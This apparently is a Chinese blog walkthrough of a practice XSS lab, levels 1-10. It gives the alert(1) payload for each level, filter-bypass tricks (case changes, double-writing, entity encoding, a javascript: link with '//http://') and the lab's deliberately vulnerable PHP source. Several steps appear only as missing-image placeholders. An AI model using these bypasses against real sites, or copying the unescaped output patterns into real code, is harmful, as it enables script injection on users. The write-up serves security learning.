XSS挑战之旅1-10关

XSS挑战之旅1-10关

文章目录

          • 前言
          • 第1关
          • 第2关
          • 第3关
          • 第4关
          • 第5关
          • 第6关
          • 第7关
          • 第8关
          • 第9关
          • 第10关

前言

漏洞介绍:XSS漏洞
参考文章:XSS挑战之旅
游戏规则:触发alert()弹窗,进入下一关


第1关
  1. 进入第一关

    在这里插入图片描述

  2. 随便输入一下,观测输出,看源代码

    在这里插入图片描述

  3. 输入<script>alert(1)</script>语句进行测试,触发弹窗,进入第二关

    在这里插入图片描述

  4. 源码

    <!DOCTYPE html><!--STATUS OK--><html>
    	<head>
    		<meta http-equiv="content-type" content="text/html;charset=utf-8">
    		<script>
    			window.alert = function()  //触发alert(),进入下一关
    			{     
    				confirm("完成的不错!");
    				 window.location.href="level2.php?keyword=test"; 
    			}
    		</script>
    		<title>欢迎来到level1</title>
    	</head>
    	<body>
    		<h1 align=center>欢迎来到level1</h1>
    			<?php 
    				ini_set("display_errors", 0);
    				$str = $_GET["name"];
    				echo "<h2 align=center>欢迎用户".$str."</h2>"; //直接对传入的参数进行输出,没有过滤
    			?>
    			<center><img src=level1.png></center>
    			<?php 
    				echo "<h3 align=center>payload的长度:".strlen($str)."</h3>";
    			?>
    	</body>
    </html>
    
  5. 分析浏览器加载的结果

    	1 ------------------------------------------------
    	$str=<script>alert(1)</script>
    	<h2 align=center>欢迎用户".$str."</h2>
    	2 ------------------------------------------------
    	<h2 align=center>欢迎用户<script>alert(1)</script></h2>
    	3 ------------------------------------------------
    	<h2 align=center>欢迎用户
    		<script>
    			alert(1) //触发alert()函数
    		</script>
    	</h2>
    
第2关
  1. 输入<script>alert(1)</script>语句进行测试

    在这里插入图片描述

  2. 查看网页源代码

    在这里插入图片描述

  3. 补充:htmlspecialchars($str)

    在这里插入图片描述

  4. 分析浏览器加载的结果

    <input name=keyword  value="<script>alert(1)</script>">     //这里的<script>alert(1)</script>是字符串
    <input name=keyword  value="11111">"<script>alert(1)</script>">   //闭合引号,这里的<script>alert(1)</script>可以被浏览器加载
    ------------------------------------------------
    <input name=keyword  value="11111">
    "
    <script>
    	alert(1)
    </script>
    ">
    
  5. 进入下一关

    在这里插入图片描述

  6. 源代码

    <?php
    	ini_set("display_errors", 0);
    	$str = $_GET["keyword"];
    	echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
    		<form action=level2.php method=GET>
    		<input name=keyword  value="'.$str.'">   //闭合value值
    		<input type=submit name=submit value="搜索"/>
    		</form>
    	</center>';
    ?>
    
第3关
  1. 输入<script>alert(1)</script>语句进行测试

    在这里插入图片描述

  2. 测试,看效果修改

    在这里插入图片描述

  3. payload

    <input name=keyword  value='11111' onclick='alert(1)'>
    

    在这里插入图片描述

  4. 下一关

    在这里插入图片描述

  5. 源码

    <?php
    	ini_set("display_errors", 0);
    	$str = $_GET["keyword"];
    	echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>"."<center>
    	<form action=level3.php method=GET>
    	<input name=keyword  value='".htmlspecialchars($str)."'>  //转义了再拼接进去
    	<input type=submit name=submit value=搜索 />
    	</form>
    	</center>";
    ?>
    
第4关
  1. 输入<script>alert(1)</script>语句进行测试

    在这里插入图片描述

  2. 继续测试11111' onclick='alert(1)

    在这里插入图片描述

  3. 测试11111" onclick="alert(1)

    在这里插入图片描述

  4. 下一关

    在这里插入图片描述

  5. 源码

    <?php
    	ini_set("display_errors", 0);
    	$str = $_GET["keyword"];
    	$str2=str_replace(">","",$str); //替换了< >
    	$str3=str_replace("<","",$str2);
    	echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
    			<form action=level4.php method=GET>
    			<input name=keyword  value="'.$str3.'">
    			<input type=submit name=submit value=搜索 />
    			</form>
    			</center>';
    ?>
    
第5关
  1. 输入<script>alert(1)</script>语句进行测试

    在这里插入图片描述

  2. 测试

    在这里插入图片描述

  3. 测试

    <input name=keyword  value="11"><a href="javascript:alert(1)">123</a>">
    

    在这里插入图片描述

  4. 浏览器加载效果

    在这里插入图片描述

  5. 源码

    <?php
    	ini_set("display_errors", 0);
    	$str = strtolower($_GET["keyword"]);  //不能用大写过滤
    	$str2=str_replace("<script","<scr_ipt",$str); //过滤了script
    	$str3=str_replace("on","o_n",$str2);  //过滤了on
    	echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
    		<form action=level5.php method=GET>
    		<input name=keyword  value="'.$str3.'">
    		<input type=submit name=submit value=搜索 />
    		</form>
    		</center>';
    ?>
    
第6关
  1. 大写绕过

    在这里插入图片描述

  2. 源码

    <?php
    	ini_set("display_errors", 0);
    	$str = $_GET["keyword"];
    	//过滤下面这些关键字,可以用大写绕过
    	$str2=str_replace("<script","<scr_ipt",$str); 
    	$str3=str_replace("on","o_n",$str2);
    	$str4=str_replace("src","sr_c",$str3);
    	$str5=str_replace("data","da_ta",$str4);
    	$str6=str_replace("href","hr_ef",$str5);
    	//对< >转义了
    	echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
    		<form action=level6.php method=GET>
    		<input name=keyword  value="'.$str6.'">
    		<input type=submit name=submit value=搜索 />
    		</form>
    		</center>';
    ?>
    
第7关
  1. 测试

    在这里插入图片描述

  2. 测试绕过

    在这里插入图片描述

    在这里插入图片描述

  3. 双写绕过

    在这里插入图片描述

第8关
  1. 测试

    在这里插入图片描述

  2. 将script用实体编号绕过

    在这里插入图片描述

    <a href="javascript:alert(1)">友情链接</a>
    html编码
    <a href="javascript:alert(1)">友情链接</a>
    
  3. 下一关

    在这里插入图片描述

  4. 源码

    <?php
    	ini_set("display_errors", 0);
    	$str = strtolower($_GET["keyword"]);  //过滤大写
    	$str2=str_replace("script","scr_ipt",$str);  //过滤这些关键字
    	$str3=str_replace("on","o_n",$str2);
    	$str4=str_replace("src","sr_c",$str3);
    	$str5=str_replace("data","da_ta",$str4);
    	$str6=str_replace("href","hr_ef",$str5);
    	$str7=str_replace('"','&quot',$str6);  //过滤 "
    	echo '<center>
    	<form action=level8.php method=GET>
    	<input name=keyword  value="'.htmlspecialchars($str).'">   //过滤< > 
    	<input type=submit name=submit value=添加友情链接 />
    	</form>
    	</center>';
    ?>
    <?php
     	echo '<center><BR><a href="'.$str7.'">友情链接</a></center>';  //利用点,绕过上面的限制即可
    ?>
    
第9关
  1. html的注释符号//

  2. 源码

    <?php
    	ini_set("display_errors", 0);
    	$str = strtolower($_GET["keyword"]);
    	......
    	//和上一题一样
    	......
    ?>
    <?php
    	if(false===strpos($str7,'http://')) //如果str7没有http://则返回false
    	{
    	  echo '<center><BR><a href="您的链接不合法?有没有!">友情链接</a></center>';
    	        }
    	else
    	{
    	  echo '<center><BR><a href="'.$str7.'">友情链接</a></center>';
    	}
    ?>
    
  3. 测试

    在这里插入图片描述

  4. payload

    <a href="javascript:alert(1)//http://">友情链接</a>
    

    在这里插入图片描述

第10关
  1. 页面

    在这里插入图片描述

  2. 测试

    在这里插入图片描述

  3. 过滤了<>

    在这里插入图片描述

  4. 测试

    <input name="t_sort"  value="1111" onclick="alert(1)" type="hidden">
    

    在这里插入图片描述

  5. payload

    <input name="t_sort"  value="1111" onclick="alert(1)" type="text" type="hidden">
    利用HTML语言的解析顺序,使得type="text"
    

    在这里插入图片描述

  6. 源码

    <?php
    	ini_set("display_errors", 0);
    	$str = $_GET["keyword"];  //传入参数
    	$str11 = $_GET["t_sort"];
    	$str22=str_replace(">","",$str11);  //过滤< >
    	$str33=str_replace("<","",$str22);
    	echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
    	<form id=search>
    	<input name="t_link"  value="'.'" type="hidden">
    	<input name="t_history"  value="'.'" type="hidden">
    	<input name="t_sort"  value="'.$str33.'" type="hidden">  //注入点
    	</form>
    	</center>';
    ?>
    
                       

点击阅读全文

上一篇 2023年 5月 26日 am10:29
下一篇 2023年 5月 26日 am10:31